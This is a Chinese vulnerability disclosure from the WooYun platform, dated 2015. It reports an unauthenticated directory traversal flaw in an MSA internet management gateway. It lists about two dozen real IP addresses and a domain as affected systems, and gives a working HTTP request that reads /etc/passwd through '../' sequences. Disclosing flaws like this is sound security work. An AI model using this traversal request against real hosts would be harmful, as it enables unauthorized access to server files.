漏洞详情

披露状态:

2015-05-26: 细节已通知厂商并且等待厂商处理中
2015-05-30: 厂商已经确认,细节仅向厂商公开
2015-06-02: 细节向第三方安全合作伙伴开放
2015-07-24: 细节向核心白帽子及相关领域专家公开
2015-08-03: 细节向普通白帽子公开
2015-08-13: 细节向实习白帽子公开
2015-08-28: 细节向公众公开

简要描述:

rt

详细说明:

WooYun: MSA互联网管理网关任意文件遍历下载(无需登录)
根据上面报告发现漏报了一处。
由于没充分过滤用户输入的../之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
无需登录情况任意遍历系统文件下载(以/etc/passwd文件为例)

案例:
https://61.177.62.254/
https://211.70.1.45/
https://222.139.212.52/
https://222.92.137.74/
https://59.61.234.109/
https://122.227.166.27/
https://123.13.224.247/
https://222.85.76.112/
https://221.176.165.214/
https://122.227.166.26/
https://117.32.249.196/
https://61.175.134.133/
https://218.26.10.175/
https://szico.com/
https://120.194.170.107/
https://118.122.90.136/
https://211.142.165.210/
https://221.12.56.242/
https://218.29.8.41/
https://116.228.51.238/
https://114.80.129.170/
https://117.158.18.199/

漏洞证明:

GET /msa/../../../../etc/passwd HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: 61.175.134.133
Connection: Keep-Alive


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修复方案:

联系厂商

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